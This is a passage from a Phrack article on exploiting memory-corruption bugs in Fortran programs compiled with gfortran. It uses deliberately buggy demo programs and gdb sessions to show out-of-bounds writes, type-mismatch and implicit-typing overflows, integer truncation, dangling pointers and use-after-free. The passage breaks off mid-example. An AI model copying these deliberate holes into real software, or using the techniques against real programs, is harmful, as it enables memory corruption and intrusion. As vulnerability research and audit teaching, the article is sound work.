==Phrack Inc.==

                Volume 0x0e, Issue 0x43, Phile #0x0b of 0x10

|=-----------------------------------------------------------------------=|
|=--------=[ Exploiting memory corruptions in Fortran programs ]=--------=|
|=--------=[                  under UNIX/VMS                   ]=--------=|
|=-----------------------------------------------------------------------=|
|=-------------------------=[  by Magma /FHC ]=--------------------------=|
|=------------------------=[ magma@phrack.org ]=-------------------------=|
|=-----------------------------------------------------------------------=|

                                    ---

                      "aka hacking Fortran for kiddos"

                                    ---

--[ Contents

 1 - Introduction
        1.1 - A Fortran tale
        1.2 - Who cares about Fortran anyway?

 2 - A short introduction to the language basics
        2.1 - An overview of Fortran syntax
        2.2 - Hey Gramps, what's the difference between F77 and F2008?

 3 - Memory corruption with gfortran
        3.1 - Buffer overflows
        3.2 - The number-related issues
        3.3 - The POINTER abuse
        3.4 - Other interesting bugs

 4 - Back to the good ol' OpenVMS friend
        4.1 - Common Fortran bugs .VS. OpenVMS
        4.2 - Playing with the heap

 5 - Prevention: lets use a condom

 6 - The final words

 7 - Greetz

 8 - Bibliography

                                    ---

---[ 1 - Introduction


---[ 1.1 - A Fortran tale

Fortran -FORmula TRANslation- is one of the oldest high level programming
language ever created. Being well aware of the fact that youngsters aren't
interested anymore in history, I'll go straight to the point.

Fortran is .NOT. (yet) dead (though 'perforated cards' hackers probably 
are). Not only did it remain actively used in the very underground
scientific/banking sectors but it also evolved to the point where it got
its last update in 2008. Hey son, you didn't know that, did you?

Now if you ever took Fortran classes in college/university then there is a
good chance that your teacher voluntary missed a few things as Fortran is
generally taught as a procedural programming language for beginners. As
such, you might have been asked to program some crappy math oriented 
program with basic features and never really got the chance to play with
the interesting features of the language.

Fortran was once an old fashioned language with limited features and boring
syntax constraints. Forget about all that. Nowadays Fortran includes modern
features such as dynamic allocation and MPI which make it suitable for
implementing both complex algorithms and parallel computing. Now add that
to the fact that modern compilers exist for almost all common operating
systems and that they produce high-lol-ly efficient code which can be 
linked to C and even Java programs. You can also use GTK or OpenGL if you
wish. You're impressed kid, I can see that in your eyes.

                                  @(*_*)@

---[ 1.2 - Who cares about Fortran anyway?

Well I do and let me tell you why you should too:

   a. It may not be too good looking at first but at least it's way sexier
      than COBOL.
   b. Your father was programming in Fortran using perforated cards and got
      headaches doing so. Sounds like a cool subject in family diner.
   c. Vintage web is the best. Just try typing Fortran in google to admire
      beautiful and authentic Web 0.1 HTML.
   d. Wikipedia tells us that "It is one of the most popular languages in
      the area of high-performance computing and is the language used for
      programs that benchmark and rank the world's fastest supercomputers."
      We should always believe wikipedia.
   e. You mastered tabs in python and couldn't think of new ways to be cool
      on BBS^H^H^HIRC? Well then try to master Fortran 77's indentation
      constraints. You might even be able to impress chicks. It used to
      work almost forty years ago (.OR. .NOT.).

Still not convinced? OK so what if Fortran programs were used in strategic
areas you've only heard of? What if Fortran programs were more buggy [R1] 
than they seemed? What if you could exploit some appropriate bug in a 
Fortran program and then own the _whole_ _damn_ _world_? That would be 
extraordinary, wouldn't it? Well cool down man that would also remain a
dream :>

                                    ---

---[ 2 - A short introduction to the language basics

In order to properly understand the paper, you'll need the basics in
Fortran programming. Since Fortran 77 (F77) isn't used anymore, the article
is focused on F90 (Fortran 90) whose syntax mostly remained compatible
throughout the different revisions of the standard. Specific features added
by Fortran 95 (F95) up to Fortran 2008 (F2008) are discussed in Chap 2.2 
though not really _that_ interesting in the context of this paper. You can 
easily skip the aforementioned explanation.


---[ 2.1 - An overview of Fortran syntax

Fortran is a procedural compiled language whose syntax is quite easy to
learn albeit sometimes not intuitive. Let's begin with the traditional
'Hello World':

	-----BEGIN EXAMPLE 1-----
	$ cat ex1.f90
		! Dummy comment 
		PROGRaM EX1                                     [L1]
		CHARACTER(len=20) :: hellostr='Hello World!'    [L2]
		write(*,fmt='(A)') hellOstr                     [L3]
		END PROGRAM                                     [L4]
	$ gfortran ex1.f90
	$ ./a.out 
	Hello World!
	$
	-----END EXAMPLE 1-----

   *) '!' marks the beginning of a comment.

   *) A Fortran program is divided in several blocks. [L1] declares the
      beginning of the PROGRAM (the MAIN_() function) and requires the
      according 'END' in [L4]. Other types of blocks include FUNCTION and
      SUBROUTINE, the difference between them being essentially whether or
      not they return a value.

      Note: This language keywords are case insensitive as shown in [L1].

   *) Variables are declared at the beginning of the blocks and are also
      case insensitive ([L2] vs [L3]) and preceded by a type. According to
      the ISO standard [R2], F90 defines five intrinsic types being:
      INTEGER, REAL, COMPLEX, CHARACTER and LOGICAL.

      An intrinsic type can optionally been followed by a 'type parameter'
      which can either be 'len' or 'kind'. 'len' allows the programmer to
      specify how much bytes is required to store the variable for a
      CHARACTER and so is 'kind' for INTEGER, REAL and LOGICAL types.

      Contrary to the C language, there is a difference between strings and
      character arrays but both are related to the CHARACTER type:

      CHARACTER(len=1)     :: array(20)  ! 20 bytes array
      CHARACTER(len=20)    :: string     ! 20 bytes string

   *) read() and write() are the common input/output functions used to read
      and write files. Amongst the possible parameter, you can specify how
      to format the variable. The code in [L3] is equivalent to the C line:
      printf("%s\n", hellOstr);

Now let's see a more advanced example:

	-----BEGIN EXAMPLE 2-----
	$ cat ex2.f90 
		SUBROUTINE add(I,J)
		IMPLICIT NONE                                 [L1]
		INTEGER(2) :: I                               [L2]
		INTEGER(2) :: J
		I = I + J
		END SUBROUTINE

		PROGRAM EX2
		CHARACTER(len=20), PARAMETER :: s = &         [L3]
                'p67 will be the best.'
		INTEGER*2 :: I = Z'FF'                        [L4]
		write(*,*) '[1] Before add(), I = ', I
		CALL add(I,1)
		write(*,*) '[2] After add(), I = ', I
		END PROGRAM
	$ gfortran ex2.f90 
	$ ./a.out 
	 [1] Before add(), I =     255
	 [2] After add(), I =     256                         [L5]
	$
	-----END EXAMPLE 2-----

   L1) By default a few variables do not need to be explicitly declared.
       According to Chap 5.3 of [R2], variables I to N are integers, while 
       other variables are typed REAL. The directive 'IMPLICIT NONE'
       forbids this behavior and forces the programmer to properly declare
       every variable.

   L2) I and J are both signed integers stored on 2 bytes ('short' type in
       C language).

   L3) Lines can be truncated using the '&' special character. PARAMETER is
       used to declare the variable as a constant.

   L4) You can initialize the variables in base 8 ('O'), 16 ('Z') and even
       base 2 ('B').

   L5) When calling functions and subroutines (which from an asm point of
       view is the same), then arguments are passed by reference contrary
       to the C where arguments are passed by value.


---[ 2.2 - Hey Gramps, what's the difference between F77 and F2008?

First of all, know that F77 is not the first Fortran at all but rather the
ancestor of F90. It can be seen as the skeleton of the actual "modern"
language. Decades after decades, the ISO published several revisions of the
language to bring new functionalities while sometimes deleting ones. For us
hackers, there is almost no impact except that the newer the language, the
higher the chance to find bugs thanks to dangerous and misused extensions.

Anyway you should nonetheless be aware of the following -important-
differences between the revisions:

   *) Fortran 90 brought the POINTER object and the ability to dynamically
      allocate objects. It also made possible the recursion. This
      particular feature won't be discussed in this paper.

   *) "Varying character strings" appeared in Fortran 95. This interesting
      functionality can potentially reduce the risks of bugs induced by the
      need to copy a buffer into another one (remember that strings have a
      fixed len in Fortran). Fortunately some compilers don't support it
      yet (like gfortran) and a lot of programmers aren't even aware of its
      existence.

   *) Fortran 2003 was designed to allow object oriented programming but
      frankly speaking, we don't care at all. More interesting are the
      IEEE floating point arithmetic and the so-called procedure pointers.

      Note that we had to wait 2003 to get a language being able to deal
      with command line arguments and environment variables. _ridiculous_

   *) Fortran 2008 introduced the parallel processing ability in the
      language. This will not discussed.

OK enough with the chitchat, let's move on.

                                    ---

---[ 3 - Memory corruption with gfortran

This part introduces the more common bugs that you may encounter while
auditing/writing Fortran code. While it is essentially focused on gfortran
(a GCC extension [R3]), the OpenVMS Fortran compiler [R4] will be discussed
in part 4. This will allow us to make at least partial generalisation of 
what kind of bugs are likely to be found & exploited in the wild.

People accustomed to Fortran programming already know that Fortran is about
dealing with numbers (one of the main advantages of Fortran). As a result
it seems that interesting inputs will be the ones related to number
manipulation/conversion and string parsing. Now Gramps will show you a few 
things that might interest you.


---[ 3.1 - Buffer overflows

Obviously the buffer overflow is the first type of bug that comes to mind
when one wants to trigger a bug related to strings/buffers. Luckily, they
also exist in Fortran but only in situations where the compiler was not
able to deter them. That would be:

   *) when the user is able to manipulate an index which will be used to
      access an array or a string. Due to the index provided by the user,
      the compiler is not able to detect the potential memory corruptions
      during the compilation.

   *) when the user is implicitly or explicitly changing the type of an
      object passed by reference to the function.

The index manipulation
----------------------

Contrary to other languages, Fortran is not able to properly handle invalid
memory access on runtime. In fact, if an index is out of scope, Fortran
will not see it and a memory corruption might appear.

Let's see using this tiny string manipulation example:

	-----BEGIN OVERFLOW 1-----
	$ cat overflow1.f90
		PROGRAM test
		CHARACTER(len=30) :: S  ! String of length 30
		INTEGER(4) I

		S = 'Hello Phrack readers!'
		read(*,*) I
		S(I:I) = '.'
		write(*,*) S
		END PROGRAM
	$ gfortran overflow1.f90
	$ ./a.out
	3
	 He.lo Phrack readers!      <-- S was modified with 0x2E
	$ gdb ./a.out
	[...]
	0x080487be <+186>: mov BYTE PTR [ebp+eax*1-0x2b],0x2e
                                       ; This is the memory write
                                       ; Do we really control eax?
	[...]
	(gdb) b *0x080487be
	Breakpoint 1 at 0x80487be
	(gdb) r
	Starting program: a.out
	50                          <-- 50 is clearly out of scope! (>30)

	Breakpoint 1, 0x080487be in MAIN__ ()
	(gdb) print /d $eax
	$1 = 50
	(gdb) c
	Hello Phrack readers!

	Program received signal SIGSEGV, Segmentation fault.
	0x2e04885b in ?? ()         <-- EIP was corrupted with 0x2E
	-----END OVERFLOW 1-----

This short example is sufficient to prove that (at least with gfortran)
there is no runtime check at all. If the user is controlling the index used
to access a string then it's probably all over. There are two things worth
to note:

   *) We tricked an out-of-bound memory write due to string manipulation
      but this could very well have been the same thing with any array
      (REAL, INTEGERS, CHARACTERS, etc.)

   *) Due to the fact that the INTEGER type is 'signed', we are equally
      able to write both before and after the buffer. Depending on the
      situation this might be extremely useful. For example while it's
      usually more interesting to write past the buffer when it's located
      on the stack, writing before it (underflow) might be handy when it's
      located on the heap. Of course that will depend on the situation.

Explicit typing of function parameters
------------------------------------

A short example is better than confusing explanations:

	-----BEGIN CAST 1-----
	$ cat cast1.f90 
		SUBROUTINE dump(S)
		INTEGER(4) :: S
		write(*,fmt='(Z10)') S
		END SUBROUTINE

		PROGRAM CAST
		CHARACTER(len=6) :: S
		S='ABCDEF'
		CALL dump(S)
		END PROGRAM
	$ gfortran cast1.f90 
	$ ./a.out 
	  44434241
	-----END CAST 1-----

So we first declare S as a string in the MAIN_ and then call the dump()
subroutine, S being the argument. Inside dump(), the parameter is declared
as an INTEGER which results in the appropriate printing. The fact that the
compiler doesn't check types can lead to very interesting situations:

   *) when the size of S object in dump() is known at compile time and
      different of the original one.

   *) when the size of S object in dump() is controlled by the user.

The first case will lead to a memory corruption if the size of the argument
in the function is superior to its real size due to argument being passed
by reference. The following code is for example incorrect and will lead to
a program crash:

	-----BEGIN CAST 2-----
	$ cat cast2.f90 
		SUBROUTINE dump(S)
		CHARACTER(len=20) :: S
		S = 'AAAA'
		END SUBROUTINE
		PROGRAM cast2
		CHARACTER(len=10) :: X
		X = 'ZZZZZZZZZZZ'
		CALL dump(X)
		END PROGRAM
	$ gfortran ./cast2.f90
	$ ./a.out 
	Segmentation fault
	-----END CAST 2-----

What's happening? 'AAAA' is supposed to be shorter than 'ZZZZZZZZZZZ' so
why is there a crash? Well S = 'AAAA' means the initialisation of S which
ultimately results in the 4 first characters being set to 'A' and the other
16 ones to ' ' (space).

But remember that parameters are passed by reference in Fortran so whatever
the size of S during the execution of dump(), the size of the real object
is 10 bytes. In other words, 20 bytes were copied on a 10 bytes buffer. Due
to the very nature of this bug, it's quite unlikely to find it in the wild.
However a much more vicious variant with 'implicit typing' is described
later.

Note: If the size of the argument in the function is actually shorter and
number-related then it may leads to a truncation bug (discussed in Chap 
3.2).

Now one could imagine a second case where the programmer is providing the
size of S as an argument (which is of course a bad practice in Fortran).
The following code is perfectly legal:

	-----BEGIN CAST 3-----
	$ cat cast3.f90
		SUBROUTINE dump(S,L)
		INTEGER(4)	:: L
		CHARACTER(len=L) :: S   ! size is a runtime parameter
		S='AAAA'
		END SUBROUTINE
		PROGRAM cast2
		CHARACTER(len=10) :: X
		X = 'ZZZZZZZZZZ'
		CALL dump(X,100)
		write(*,*) X
		END PROGRAM
	$ gfortran cast3.f90 
	$ ./a.out 
	10
	 AAAA
	$ ./a.out
	200
	 AAAA
	Segmentation fault
	$
	-----END CAST 3-----

For a couple of seconds we could be tempted to think that it's a situation
similar to the one described in [R5] but that would only be true if there
were a stack allocation. In fact once again the bug is triggered by the
initialisation of the string. Because of the explicit typing of S, the
compiler is assuming that S really has a len of L and if L > 10 then a
memory corruption occurs.

Implicit typing
---------------

In the life-time of a program, declaring variables every time can be boring
especially when the use of these variables is limited (consider a DO loop
variable for example). Because of that, Fortran designers created a rule of
implicit declaration. As a result in Fortran you can use a few variables
without declaring them which for us hackers can be really cool as it can
have side effects. Here is a tiny buggy example:

	-----BEGIN IMPLICIT TYPE 1-----
	$ cat implicit_typing1.f90 
		SUBROUTINE set(I)
		write(*,*) 'How much do u want to read dude ?'
		read(*,*) I                          [L3]
		END SUBROUTINE

		PROGRAM IMPLICIT_TYPING
		IMPLICIT NONE
		INTEGER(1)	:: A, B              [L1]
		A = 0
		B = 0
		CALL set(B)                          [L2]
		write(*,*) 'A=',A,'B=',B
		END PROGRAM
	$ gfortran implicit_typing1.f90
	$ ./a.out 
	 How much do u want to read dude ?
	1094795585                                   [L4]
	 A=   65 B=   65                             [L5]
	$
	-----END IMPLICIT TYPE 1-----

A, B are declared INTEGERS in the range [-128,+127] [L1] and initialized.
B is then passed by reference to the set() subroutine [L2] where it gets
affected a new value [L3]. If the user supplies a large enough integer [L4]
then B is corrupted [L5]. What happened?

Well the heart of this corruption lies in the implicit typing associated
with the implicit declaration. Here is what can be read from the official
documentation [R2]:

                                    ---
                            Chap 5.3 - IMPLICIT


"In each scoping unit, there is a mapping, which may be null, between each
of the letters A, B, ..., Z and a type (and type parameters). An IMPLICIT
statement specifies the mapping for the letters in its letter-spec-list.
IMPLICIT NONE specifies the null mapping for all the letters. If a mapping
is not specified for a letter, the default for a program unit or an
interface body is default integer if the letter is I, J, ..., or N and
default real otherwise, and the default for an internal or module procedure
is the mapping in the host scoping unit."
                                    ---

So not declaring I in the set() subroutine had the effect of declaring it
as an integer which means INTEGER(4) by default (thus 4 bytes allocated).
So cool. Do not forget that we're passing arguments by reference! Yes I
know, I'm repeating myself. Probably because of my Alzheimer you know.

Anyway, It's really easy to watch it

	-----BEGIN IMPLICIT TYPE 2-----
	(gdb) disassemble MAIN__ 
	   [...]
	   0x080486c1 <+17>:	lea    esi,[ebp-0xa]          ; esi=&B
	   [...]
	   0x080486d8 <+40>:	mov    DWORD PTR [esp],esi
	   0x080486db <+43>:	mov    BYTE PTR [ebp-0x9],0x0 ; A=0
	   0x080486df <+47>:	mov    BYTE PTR [ebp-0xa],0x0 ; B=0
	   0x080486e3 <+51>:	call   0x8048790 <set_> ; set(&B)
	(gdb) disassemble set_ 
	   [...]
	   0x08048826 <+150>:	mov    eax,DWORD PTR [ebp+0x8] ; eax=&B
	   0x08048829 <+153>:	mov    DWORD PTR [esp],ebx
	   0x0804882c <+156>:	mov    DWORD PTR [esp+0x8],0x4
	   0x08048834 <+164>:	mov    DWORD PTR [esp+0x4],eax
	   0x08048838 <+168>:	call   0x8048594 [...]         ; read(&B,4)
	   [...]
	(gdb) b *0x080486e3
	Breakpoint 1 at 0x80486e3
	(gdb) r
	[...]
	Breakpoint 1, 0x080486e3 in MAIN__ ()
	(gdb) x /x $ebp-0xa
	0xbffff42e:	0xf5140000
	(gdb) x /x $ebp-0xa+2
	0xbffff430:	0xbffff514   <-- A pointer is stored right after B
	(gdb) nexti
	 How much do u want to read dude ?
	1094795585
	0x080486e8 in MAIN__ ()
	(gdb) x /x $ebp-0xa
	0xbffff42e:	0x41414141   <-- We are controling &B[0] up to
                                         &B[3]
	(gdb) x /x $ebp-0xa+2
	0xbffff430:	0xbfff4141   <-- The pointer is corrupted. Our win.
	[...]
	-----END IMPLICIT TYPE 2-----

As expected we wrote 4 bytes in a 1-byte buffer overwriting both 'B' and
the 2 lowest bytes of a pointer with arbitrary values.


---[ 3.2 - The number-related issues

In C language, there exists three types of integer related bugs [R6]:
   1. Signedness bugs
   2. Truncation bugs
   3. Integer underflow/overflow bugs

What about in Fortran?

   *) This first class of bugs is quite unlikely as the primary component
      is missing. Indeed the 'unsigned' concept does not exist in Fortran
      which means that there is (as far as I can see) almost no way to
      mistakenly interpret a negative number (integer/real) as a larger
      than expected positive one.

      However what would appen if we were to call a function in another
      language defining unsigned numbers like C? Then an integer overflow
      _could_ happen if the argument was casted. This particular situation
      is illustrated in Chap 4.

   *) A truncation bug (may) occur when an integer variable is copied into
      a smaller one. For example, in C copying an int (4 bytes) into a
      short (2 bytes) which is possible in Fortran.

      Practically speaking such a bug usually occurs when an INTEGER is
      passed as an argument to a function/procedure which declares its type
      'smaller' than it actually is.

	-----BEGIN TRUNCATE 1-----
	$ cat truncate3.f90 
		LOGICAL FUNCTION IsGood(L)
		INTEGER(1) :: L
		IsGood = .TRUE.
		write(*,*) 'IsGood: size is ', L
		IF (L > 10) THEN
			write(*,*) 'Way too long man', L
			IsGood = .FALSE.
			RETURN
		END IF
		END FUNCTION

		PROGRAM truncate3
		IMPLICIT NONE
		INTEGER(4)	:: l
		CHARACTER(2000)	:: str
		LOGICAL :: IsGood
		write(*,*) 'Give me the damn string ...'
		read(*,*) str
		l = len_trim(str)
		write(*,*) 'MAIN_: size is ', l
		IF (IsGood(l) .EQV. .TRUE.) THEN
			write(*,*) 'Copying bytes ... :)'
		END IF
		END PROGRAM
	$ gfortran truncate3.f90 
	$ ./a.out 
	 Give me the damn string ...
	AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	 MAIN_: size is           38
	 IsGood: size is    38
	 Way too long man   38
	$ ./a.out
	 Give me the damn string ...	
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	 MAIN_: size is          520
	 IsGood: size is     8
	 Copying bytes ... :)
	$
	-----END TRUNCATE 1-----

      In IsGood(), L is declared as an INTEGER(1). To respect the type, the
      parameter has to be reduced modulo 256 hence the result (520 & 0xFF
      = 8).

      This is _not_ the only situation involving this type of bug. For 
      example, consider the following situation:

	-----BEGIN TRUNCATE 2-----
	$ cat truncate2.f90 
		PROGRAM truncate2
		IMPLICIT NONE

		INTEGER(1)	:: l
		CHARACTER(255)	:: str
		CHARACTER(10)	:: foo

		write(*,*) 'Give me the damn string ...'
		read(*,*) str
		write(*,*) 'Real string size is ', len_trim(str)
	
		l = len_trim(str) ! *BUG* *BUG* *BUG*
		IF (l > 10) THEN
			write(*,*) 'Way too long man', l
			STOP
		END IF
		write(*,*) 'Copying bytes'
	
		! Insecure copy(foo, str)
		[...]
		END PROGRAM
	$ gfortran truncate2.f90 
	$ ./a.out 
	 Give me the damn string ...
	AAAAAAAAAAAAAAAAAA
	 Real string size is           18
	 Way too long man   18
	$ ./a.out 
	 Give me the damn string ...
	AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	 Real string size is          180
	 Copying bytes
	-----END TRUNCATE 2-----

      In this situation, the programmer made a mistake involving the
      prototype the len_trim() function (provided by the Fortran API). [R2]
      specifies that the result returned by the function should be a
      'default integer' (which means INTEGER(4)) hence the previous bug.

   *) Whenever a language limits the amount of memory allocated for numbers
      (generally because of hardware constraints), a number under/overflow 
      is always possible and is _normal_. However not handling this
      situation _is_ a bug.

      Fortran makes no exception as storage is clearly defined:

	-----BEGIN INT OVERFLOW 1-----
	$ cat arithmetic.f90
		[...]
		INTEGER(1)	:: N1, N2

		write(*,*) 'Give me a number (-128, +127) :'
		read(*,*) N1
		N2 = N1 * 16
		write(*,*) 'N * 16 = ', N1*16, ' or ', N2
		[...]
	$ gfortran arithmetic.f90 
	$ ./a.out 
	 Give me a number (-128, +127) :
	5
	 N * 16 =           80  or    80
	$ ./a.out 
	 Give me a number (-128, +127) :
	12
	 N * 16 =          192  or   -64    <-- Oops :)
	$ ./a.out 
	 Give me a number (-128, +127) :
	18
	 N * 16 =          288  or    32    <-- Oops (bis) :)
	-----END INT OVERFLOW 1-----

Is that all? Not quite son. When auditing the use of numbers in C code,
you're usually focused on integers (char, int, long, long long) and that
would essentially be for two reasons:

   *) Floats and double are rarely present in C code or to be fair, usually
      not in common 'audited' software. Of course there are a few notable
      exceptions, just use your imagination to find out which ones :)

   *) Floats are usually _not_ related to copy or allocation operations. In
      C, integers might be used as index, offsets, quantities or even sizes
      and as such their abuse 'could' induce a memory corruption. There is
      almost no such danger with floats.

Now consider that things are a little bit different with Fortran. As I told
you previously Fortran is a math oriented programming language. As such
REAL, and COMPLEX types are really common not to mention the fact that the
language itself provides some nice intrinsic functions to play with. This
itself is sufficient to increase the probability of float-related bug in 
real life.

Here is a short example of what could happen:

	-----BEGIN REAL OVERFLOW 1-----
	$ cat float1.f
		PROGRAM float1
		REAL :: a, b, x
		a = 9.7E-30
		b = -3.9E-30
		x = a * b
		write(*,*) 'x = a*b = ',x
		END PROGRAM
	$ gfortran ./float1.f
	$ ./a.out
	 x = a*b =   -0.0000000    
	-----END REAL OVERFLOW 1-----

Interesting isn't it? The behavior of REAL is what is described in the
IEEE-754. As a result, a REAL (float) underflow occurs when a and b are
multiplied. This ultimately results in x taking the value 0 because of the
underflow. The program is not able to detect it on runtime whereas an
exception could/should have been generated. I won't say more about that,
now use your brain/imagination/drug to go further ;-)


---[ 3.3 - The POINTER abuse

While the concept of pointer is somewhat universal, implementations and
intrinsic limits of this object may completely vary from a language to
another. For example, while in C you have direct access to the memory, in
Fortran you don't (at least directly). But you still have a powerful 
pointer arithmetic and frankly speaking, that's all needs the programmer to
introduce bugs ;-). Now let's talk about the POINTER.

Note: The POINTER is F90 & later specific but you might find pointers in a 
few F77 programs which use 'Cray Pointers' [R10]. 

Introduction to POINTER
-----------------------

In Fortran, a pointer is not a data type but rather a type parameter and
must be associated with an object of the same type to read/modify it.

Here is a short self-explaining example:

	-----BEGIN POINTER 1-----
	$ cat pointer1.f90 
		PROGRAM pointer1
		INTEGER, TARGET :: a
		INTEGER, POINTER :: p_a
		p_a => a                    ! p_a = &a
		p_a = 1                     ! *p_a = 1
		write(*,*) a
		a = 2
		write(*,*) p_a              ! printf("%d",*p_a)
		END PROGRAM
	$ gfortran pointer1.f90 
	$ ./a.out 
		   1
		   2
	-----END POINTER 1-----

Note that the TARGET parameter is mandatory. Now let's see a more complete
example:

	-----BEGIN POINTER 2-----
	$ cat pointer2.f90 
		PROGRAM pointer2
		INTEGER, POINTER :: p_a(:)
		INTEGER, POINTER, DIMENSION(:) :: p_b
		INTEGER, ALLOCATABLE :: c(:)
		INTEGER, POINTER :: X(:)
		ALLOCATE(p_a(5)); p_a = 5
		ALLOCATE(p_b(4)); p_b = 4
		ALLOCATE(c(3));   c = 3 
		X => p_a
		X(3) = 0
		write(*,*) p_a
		write(*,*) p_b
		write(*,*) c
		DEALLOCATE(p_a)
		DEALLOCATE(p_b)
		DEALLOCATE(c)
		END PROGRAM
	$ gfortran pointer2.f90 
	$ ./a.out 
	   5           5           0           5           5
	   4           4           4           4
	   3           3           3
	-----END POINTER 2-----

   *) 'p_a' is an integer array pointer.

   *) 'p_b' and 'p_a' are the same kind of object despite the syntax being
      slightly different (but equivalent in the end).

   *) 'c' is an array whose size is still unknown. The ALLOCATABLE 
      parameter specifies that memory will be requested before any use. 
      This is a dynamically allocated array.

   *) ALLOCATE() is the intrinsic function responsible of the allocation.
      (and yes its calling syntax is _shit_ but let's deal with it)

   *) DEALLOCATE() will free previously requested memory.

The link between ALLOCATE() and the libc allocator is easy to see:

	------------------------------------------------------
$ ltrace -e malloc,free ./a.out 
malloc(20)                                                     = 0x087009a0
malloc(16)                                                     = 0x087009b8
malloc(12)                                                     = 0x087009d0
           5           5           0           5           5
           4           4           4           4
           3           3           3
free(0x087009a0)                                                   = <void>
free(0x087009b8)                                                   = <void>
free(0x087009d0)                                                   = <void>
	------------------------------------------------------

This alone is sufficient to prove that malloc (respectively free) and
ALLOCATE (respectively DEALLOCATE) are 'almost' the same. The difference
between both is studied in another subsection.

Heap overflows
--------------

A buffer overflow in an ALLOCATEd area _is_ a heap overflow. Such a bug may
occur if:

   *) The user is able to manipulate the index used with the array POINTER
      to perform an out of bound operation:

	------------------------------------------------------
$ ./bof_array_malloc AAAAAAAAAAAAAAAAAAA
 INITIAL ARGUMENT = AAAAAAAAAAAAAAAAAAA  [          20 ]
 ONCE CLEANED :AAAAAAAAAAAAAAAAAAAA
$ ./bof_array_malloc AAAAAAAAAAAAAAAAAAAA
 INITIAL ARGUMENT = AAAAAAAAAAAAAAAAAAAA [         141 ]
 ONCE CLEANED :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAA
*** glibc detected *** ./bof_array_malloc: free(): invalid next size [...]
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6(+0x6b591)[0xb7625591]
/lib/tls/i686/cmov/libc.so.6(+0x6cde8)[0xb7626de8]
/lib/tls/i686/cmov/libc.so.6(cfree+0x6d)[0xb7629ecd]
[...]
	------------------------------------------------------

   *) The user is able to somehow induce a bug in the allocation either
      exploiting an arithmetic mistake of the behavior of ALLOCATE
      (discussed further).

Dangling pointers
-----------------

By default, pointers are undefined when declared. As a result there should
not be any reference nor manipulation of these objects until their 
association. The unfamiliar programmer might be tempted to use the 
ASSOCIATED() intrinsic function for safety purpose which (un)fortunately is
a mistake:

	-----BEGIN POINTER 3-----
	$ cat pointer3.f90 
		PROGRAM pointer1
		INTEGER, TARGET :: a
		INTEGER, POINTER :: p_a
		write(*,*) associated(p_a)
		nullify(p_a)
		write(*,*) associated(p_a)
		p_a => a
		write(*,*) associated(p_a)
		END PROGRAM
	$ gfortran pointer3.f90 
	$ ./a.out 
	 T            <-- *WRONG* :)
	 F            <-- Right
	 T            <-- Right
	-----END POINTER 3-----

   *) p_a is declared and 'undefined' by default.

   *) associated() falsely reports that p_a is associated.

   *) Since the pointer is associated, the programmer can perform 
      operations and a memory corruption is very likely to appear.

Let's try to understand what's happening:

	------------------------------------------------------
(gdb) disass MAIN__ 
Dump of assembler code for function MAIN__:
   0x080485d4 <+0>:	push   ebp
   0x080485d5 <+1>:	mov    ebp,esp
   0x080485d7 <+3>:	sub    esp,0x188
   0x080485dd <+9>:	mov    DWORD PTR [esp+0x4],0x80488a0
   0x080485e5 <+17>:	mov    DWORD PTR [esp],0x8
   0x080485ec <+24>:	call   0x80484c4 <_gfortran_set_options@plt>
   0x080485f1 <+29>:	mov    DWORD PTR [ebp-0x168],0x8048880
   0x080485fb <+39>:	mov    DWORD PTR [ebp-0x164],0x4
   0x08048605 <+49>:	mov    DWORD PTR [ebp-0x170],0x80
   0x0804860f <+59>:	mov    DWORD PTR [ebp-0x16c],0x6
   0x08048619 <+69>:	lea    eax,[ebp-0x170]
   0x0804861f <+75>:	mov    DWORD PTR [esp],eax
   0x08048622 <+78>:	call   0x80484e4 <_gfortran_st_write@plt>
   0x08048627 <+83>:	cmp    DWORD PTR [ebp-0xc],0x0   ; p_a == 0 ?
   0x0804862b <+87>:	setne  al                        ; al = ~(p_a == 0)
   0x0804862e <+90>:	movzx  eax,al                    ; eax = al
	------------------------------------------------------

OK OK easy. First p_a is read on the stack then its value is compared with
0 (NULL). If p_a is not zero then it's supposed associated (ah ah). However
since the local variable is uninitialized, it could take any value and in
our case some stack address thereby explaining the bug.

Now more interesting. If operations are performed using p_a on the base of
the result returned by associated() then an invalid memory dereference may
occur and depending on whether we can control this address or nor it might
end up either as a 'Segmentation Fault' or as a perfectly controlled
arbitrary memory write. I discovered this really interesting issue reading
a cool website [R7] which details a few other interesting issues that won't
be discussed in this paper.

Use-after-free bugs
-------------------

Does the compiler keep track of POINTER object? Will it prevent the
programmer from misusing them? Let's write an example once more:

	-----BEGIN POINTER 4-----
	$ cat pointer4.f90 
		PROGRAM pointer4
		INTEGER, POINTER :: p1(:)
		INTEGER, POINTER :: p2(:)
		ALLOCATE(p1(10))
		p2 => p1
		p2 = 2
		DEALLOCATE(p1)
		p2 = 3            ! REALLY bad :(
